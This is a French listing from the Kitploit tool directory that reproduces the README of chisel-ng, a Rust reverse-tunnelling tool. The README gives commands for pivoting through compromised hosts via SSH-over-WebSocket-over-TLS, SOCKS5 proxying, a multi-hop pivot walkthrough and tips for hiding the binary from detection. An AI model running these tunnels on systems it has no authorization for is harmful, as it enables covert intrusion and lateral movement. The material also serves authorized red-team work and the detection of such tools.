Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
chisel-ng — Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations. | Kitploit
Outils/GitHubGitHub/nullsection/chisel-ng
Évasion IDS/IPSMouvement LatéralPost-ExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubnullsection/chisel-ng

chisel-ng

Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations.

Voir le dépôt
13696il y a 7 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/

chisel-ng

Rust License Windows Linux

Une implémentation en Rust de chisel pour les tests de pénétration et les opérations d'équipe rouge. Établit des tunnels inversés via SSH-over-WebSocket-over-TLS, permettant aux opérateurs de pivoter à travers des hôtes compromis tout en se fondant dans le trafic HTTPS normal.


Table des matières

  • Démarrage rapide
  • Fonctionnalités
  • Architecture
  • Référence d'utilisation
    • Serveur
    • Client inverse
    • Client bind
  • Commandes CLI
  • Pivotement multi-sauts
  • Détails techniques
  • Considérations OPSEC
  • Avertissement

  • Démarrage rapide

    Prérequis

    • Rust 1.70+ (rustup.rs)

    Compilation

    root@kitploit:~
    git clone https://github.com/nullsection/chisel-ng
    cd chisel-ng
    cargo build --release
    

    Les binaires sont générés dans target/release/ : chisel-server, chisel-client, chisel-bind-client

    Utilisation de base

    1. Démarrer le serveur (opérateur) :

    root@kitploit:~
    ./chisel-server -p 'secret' -v
    

    2. Exécuter le client (cible) :

    root@kitploit:~
    ./chisel-client -s operator.example.com:8443 -p 'secret' -k
    

    3. Créer des tunnels :

    root@kitploit:~
    chisel-ng> session 1
    [session-1] TARGET > tunnel 8080:192.168.1.100:80
    [session-1] TARGET > socks5 1080
    

    4. Accéder aux services internes :

    root@kitploit:~
    curl http://127.0.0.1:8080
    curl --socks5 127.0.0.1:1080 http://internal.corp/
    

    Fonctionnalités

    • SSH over WebSocket over TLS - Se fond dans le trafic HTTPS normal
    • Authentification par clé pré-partagée - Authentification simple et sécurisée
    • Redirection de port dynamique - Création de tunnels à la demande
    • Proxy SOCKS5 - Routage dynamique via les agents
    • Deux modes client - Inverse (connexion sortante) et bind (connexion entrante)
    • Multi-plateforme - Windows et Linux

    Architecture

    root@kitploit:~
    +------------------+              +----------------------------------+
    |     Operator     |              |         Target Network           |
    |                  |              |                                  |
    | +--------------+ |     SSH      | +--------------+                 |
    | |chisel-server |<---------------+-|chisel-client |                 |
    | |    :8443     | |   (over TLS) | |  (reverse)   |                 |
    | +--------------+ |              | +--------------+                 |
    +------------------+              +----------------------------------+
    

    Pile de protocoles :

    root@kitploit:~
    TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
                         ^
                apparaît comme HTTPS
    

    Modes client :

    • Inverse (chisel-client) - Se connecte au serveur en sortie
    • Bind (chisel-bind-client) - Écoute les connexions entrantes ; le serveur utilise la commande connect

    Référence d'utilisation

    Serveur (Opérateur)
    root@kitploit:~
    OPTIONS:
        -l, --listen <ADDR>      Adresse d'écoute [default: 0.0.0.0:8443]
        -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
            --cert <FILE>        Certificat TLS (PEM)
            --key <FILE>         Clé privée TLS (PEM)
            --generate-psk       Générer une PSK aléatoire et quitter
        -v, --verbose            Sortie verbeuse
    
    Client inverse (Agent)
    root@kitploit:~
    OPTIONS:
        -s, --server <ADDR>      Adresse du serveur (hôte:port)
        -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
        -u, --user <LABEL>       Étiquette de session [default: agent]
        -k, --insecure           Ignorer la vérification TLS
            --no-reconnect       Désactiver la reconnexion automatique
        -i, --interval <SECS>    Intervalle de reconnexion [default: 30]
            --heartbeat <SECS>   Intervalle de pulsation [default: 30]
        -v, --verbose            Sortie verbeuse
    
    Client bind (Agent - Mode entrant)

    Pour les cibles qui peuvent accepter des connexions entrantes mais pas initier de connexions sortantes :

    root@kitploit:~
    OPTIONS:
        -l, --listen <ADDR>      Adresse d'écoute (ex. 0.0.0.0:9000)
        -p, --psk <PSK>          Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
        -u, --user <LABEL>       Étiquette de session [default: agent]
        -k, --insecure           Ignorer la vérification TLS
            --heartbeat <SECS>   Intervalle de pulsation [default: 30]
        -v, --verbose            Sortie verbeuse
    
    Commandes CLI du serveur

    Menu principal :

    root@kitploit:~
    sessions             Lister les sessions connectées
    session <id>         Sélectionner une session
    connect <ip:port>    Se connecter au client bind
    disconnect <id>      Déconnecter la session (reconnexion automatique)
    kill <id>            Terminer le processus client
    

    Menu de session :

    root@kitploit:~
    tunnel <local>:<target_ip>:<target_port>    Créer un tunnel
    tunnel --local <local>:<target>:<port>      Créer un tunnel (localhost uniquement)
    tunnel stop <port>                          Arrêter le tunnel
    tunnels                                     Lister les tunnels
    socks5 <port>                               Démarrer le proxy SOCKS5
    socks5 stop <port>                          Arrêter le proxy SOCKS5
    ping                                        Mesurer la latence
    ps                                          Lister les processus distants
    netstat                                     Lister les connexions distantes
    

    Pivotement multi-sauts

    Atteindre des réseaux isolés en enchaînant les sessions existantes.

    Scénario : L'hôte DMZ peut atteindre l'opérateur. L'hôte interne (10.0.0.50) n'est accessible que depuis la DMZ.

    root@kitploit:~
    +----------+        +-----------+        +------------+
    | Operator |--SSH---| Session 1 |--TCP---| Session 2  |
    |  Server  |        |   (DMZ)   |        | (INTERNAL) |
    +----------+        +-----------+        +------------+
    

    Étape 1 - Démarrer le serveur (opérateur) :

    root@kitploit:~
    ./chisel-server -p 'secret' -v
    

    Étape 2 - Exécuter le client inverse (hôte DMZ) :

    root@kitploit:~
    ./chisel-client -s operator.example.com:8443 -p 'secret' -k
    

    Étape 3 - Exécuter le client bind (hôte interne à 10.0.0.50) :

    root@kitploit:~
    ./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
    

    Étape 4 - Créer un tunnel et se connecter (CLI serveur) :

    root@kitploit:~
    chisel-ng> session 1
    [session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
    Tunnel started on 127.0.0.1:9000
    
    [session-1] DMZ > back
    chisel-ng> connect 127.0.0.1:9000
    Session 2 registered
    
    chisel-ng> session 2
    [session-2] INTERNAL > socks5 1080
    

    Détails techniques

    Comment fonctionnent les tunnels

    Lors de la création d'un tunnel (tunnel 8080:192.168.1.100:80) :

    1. Le serveur lie le port local 8080
    2. Sur connexion, le serveur envoie une requête CONNECT à l'agent
    3. L'agent se connecte à la cible et ouvre un canal SSH direct-tcpip
    4. Les données sont pontées de manière bidirectionnelle
    Comment fonctionne SOCKS5

    Destinations dynamiques via la poignée de main RFC 1928. Retourne des codes d'erreur appropriés pour des résultats de scan de ports précis.


    Considérations OPSEC

    Durcissement du binaire

    Les builds release sont durcis :

    • Opération silencieuse - Toute journalisation est compilée en no-op
    • Obscurcissement des chaînes - Les chaînes de protocole sont cryptées par XOR à la compilation
    • Suppression des symboles - Aucun symbole de débogage ni chemin source
    • Optimisation de la taille - ~3 Mo contre ~15 Mo en debug
    • Comportement en cas de panique - Arrêt immédiat, aucune trace de pile
    Sécurité opérationnelle
    • Authentification PSK - Clé 256 bits à partir d'une phrase de passe (SHA-256) ou hexadécimal brut
    • Aucun stockage d'identifiants - PSK uniquement via argument ou variable d'environnement
    • Reconnexion automatique - Activée par défaut, intervalle configurable
    • Pulsation - Keepalive configurable, désactiver avec --heartbeat 0
    Vecteurs de détection
    • Empreinte TLS JA3/JA4
    • Modèles de mise à niveau WebSocket
    • Durée de connexion prolongée
    • Intervalles de pulsation constants

    Avertissement

    Cet outil est destiné uniquement aux tests de sécurité autorisés. Obtenez les autorisations appropriées avant utilisation. Les auteurs ne sont pas responsables d'une mauvaise utilisation.


    Licence

    MIT

    Télécharger l’outil